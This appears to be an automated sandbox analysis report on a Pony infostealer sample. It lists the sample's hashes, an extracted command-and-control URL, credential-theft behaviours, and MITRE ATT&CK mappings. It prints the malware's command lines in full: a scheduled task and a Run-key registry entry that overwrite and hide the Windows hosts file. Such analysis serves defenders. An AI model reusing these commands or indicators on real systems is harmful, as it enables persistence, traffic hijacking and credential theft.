Analysis
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max time kernel
95s -
max time network
96s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
03-10-2024 07:46
Static task
static1
Behavioral task
behavioral1
Sample
0ea5be476fbfa14bbfdf152d8317dca1_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
0ea5be476fbfa14bbfdf152d8317dca1_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
0ea5be476fbfa14bbfdf152d8317dca1_JaffaCakes118.exe
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Size
59KB
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MD5
0ea5be476fbfa14bbfdf152d8317dca1
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SHA1
f13a2394515ae479aed9ecde68045b4529e8e4dd
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SHA256
d46a8b277f2ea7da5bda855a6a8bb01974061b8e5ccc5b3dad9df7bd7e628396
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SHA512
82661352d58770f2adba0749896865563e02c8e9699596ba4e624dd2d34a5b43316debec988b2dbef3aa66ede2ed53bf6662e4fce0a16006b76b0f6a94e313dc
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SSDEEP
1536:l4P1LMokzq+5hRpfv+7Iis8RcEW3dpNYLcq5LlY5E5e73A+IdWbNagwc:l4P14Bis8uh3XNYLcqsCejA+IdyND
Malware Config
Extracted
pony
http://hesdoc.info:9135/pic/fly.php
Signatures
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Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts.sam cmd.exe File created C:\Windows\system32\drivers\etc\hosts.sys 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe File created C:\Windows\system32\drivers\etc\hosts.sam cmd.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\42 = "cmd.exe /c copy C:\\Users\\Admin\\AppData\\Local\\Temp\\240618390aq C:\\Windows\\system32\\drivers\\etc\\hosts /Y && attrib +H C:\\Windows\\system32\\drivers\\etc\\hosts" reg.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
pid Process 1584 cmd.exe 468 reg.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3164 set thread context of 4556 3164 0ea5be476fbfa14bbfdf152d8317dca1_JaffaCakes118.exe 82 -
resource yara_rule behavioral2/memory/4556-0-0x0000000000400000-0x000000000041C000-memory.dmp upx behavioral2/memory/4556-2-0x0000000000400000-0x000000000041C000-memory.dmp upx behavioral2/memory/4556-4-0x0000000000400000-0x000000000041C000-memory.dmp upx behavioral2/memory/4556-3-0x0000000000400000-0x000000000041C000-memory.dmp upx behavioral2/memory/4556-5-0x0000000000400000-0x000000000041C000-memory.dmp upx behavioral2/memory/4556-11-0x0000000000400000-0x000000000041C000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language at.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 0ea5be476fbfa14bbfdf152d8317dca1_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
description pid Process Token: SeImpersonatePrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeTcbPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeChangeNotifyPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeCreateTokenPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeBackupPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeRestorePrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeIncreaseQuotaPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeAssignPrimaryTokenPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeImpersonatePrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeTcbPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeChangeNotifyPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeCreateTokenPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeBackupPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeRestorePrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeIncreaseQuotaPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeAssignPrimaryTokenPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeImpersonatePrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeTcbPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeChangeNotifyPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeCreateTokenPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeBackupPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeRestorePrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeIncreaseQuotaPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeAssignPrimaryTokenPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeImpersonatePrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeTcbPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeChangeNotifyPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeCreateTokenPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeBackupPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeRestorePrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeIncreaseQuotaPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeAssignPrimaryTokenPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeImpersonatePrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeTcbPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeChangeNotifyPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeCreateTokenPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeBackupPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeRestorePrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeIncreaseQuotaPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeAssignPrimaryTokenPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeImpersonatePrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeTcbPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeChangeNotifyPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeCreateTokenPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeBackupPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeRestorePrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeIncreaseQuotaPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe Token: SeAssignPrimaryTokenPrivilege 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 3164 wrote to memory of 4556 3164 0ea5be476fbfa14bbfdf152d8317dca1_JaffaCakes118.exe 82 PID 3164 wrote to memory of 4556 3164 0ea5be476fbfa14bbfdf152d8317dca1_JaffaCakes118.exe 82 PID 3164 wrote to memory of 4556 3164 0ea5be476fbfa14bbfdf152d8317dca1_JaffaCakes118.exe 82 PID 3164 wrote to memory of 4556 3164 0ea5be476fbfa14bbfdf152d8317dca1_JaffaCakes118.exe 82 PID 3164 wrote to memory of 4556 3164 0ea5be476fbfa14bbfdf152d8317dca1_JaffaCakes118.exe 82 PID 3164 wrote to memory of 4556 3164 0ea5be476fbfa14bbfdf152d8317dca1_JaffaCakes118.exe 82 PID 3164 wrote to memory of 4556 3164 0ea5be476fbfa14bbfdf152d8317dca1_JaffaCakes118.exe 82 PID 3164 wrote to memory of 4556 3164 0ea5be476fbfa14bbfdf152d8317dca1_JaffaCakes118.exe 82 PID 4556 wrote to memory of 4700 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe 83 PID 4556 wrote to memory of 4700 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe 83 PID 4556 wrote to memory of 4700 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe 83 PID 4556 wrote to memory of 1584 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe 85 PID 4556 wrote to memory of 1584 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe 85 PID 4556 wrote to memory of 1584 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe 85 PID 4556 wrote to memory of 4816 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe 87 PID 4556 wrote to memory of 4816 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe 87 PID 4556 wrote to memory of 4816 4556 0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe 87 PID 4700 wrote to memory of 692 4700 cmd.exe 89 PID 4700 wrote to memory of 692 4700 cmd.exe 89 PID 4700 wrote to memory of 692 4700 cmd.exe 89 PID 1584 wrote to memory of 468 1584 cmd.exe 90 PID 1584 wrote to memory of 468 1584 cmd.exe 90 PID 1584 wrote to memory of 468 1584 cmd.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\0ea5be476fbfa14bbfdf152d8317dca1_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\0ea5be476fbfa14bbfdf152d8317dca1_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3164 -
\??\c:\users\admin\appdata\local\temp\0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe"c:\users\admin\appdata\local\temp\0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe"2⤵
- Drops file in Drivers directory
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4556 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy "C:\Windows\system32\drivers\etc\hosts" "C:\Windows\system32\drivers\etc\hosts.sam" /Y && at 07:49:00 cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\240618390aq" "C:\Windows\system32\drivers\etc\hosts" /Y3⤵
- Drops file in Drivers directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4700 -
C:\Windows\SysWOW64\at.exeat 07:49:00 cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\240618390aq" "C:\Windows\system32\drivers\etc\hosts" /Y4⤵
- System Location Discovery: System Language Discovery
PID:692
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 42 /t REG_SZ /d "cmd.exe /c copy C:\Users\Admin\AppData\Local\Temp\240618390aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts" /f3⤵
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1584 -
C:\Windows\SysWOW64\reg.exereg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 42 /t REG_SZ /d "cmd.exe /c copy C:\Users\Admin\AppData\Local\Temp\240618390aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts" /f4⤵
- Adds Run key to start application
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
PID:468
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\240618656.bat" "c:\users\admin\appdata\local\temp\0ea5be476fbfa14bbfdf152d8317dca1_jaffacakes118.exe" "3⤵
- System Location Discovery: System Language Discovery
PID:4816
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
94B
MD53880eeb1c736d853eb13b44898b718ab
SHA14eec9d50360cd815211e3c4e6bdd08271b6ec8e6
SHA256936d9411d5226b7c5a150ecaf422987590a8870c8e095e1caa072273041a86e7
SHA5123eaa3dddd7a11942e75acd44208fbe3d3ff8f4006951cd970fb9ab748c160739409803450d28037e577443504707fc310c634e9dc54d0c25e8cfe6094f017c6b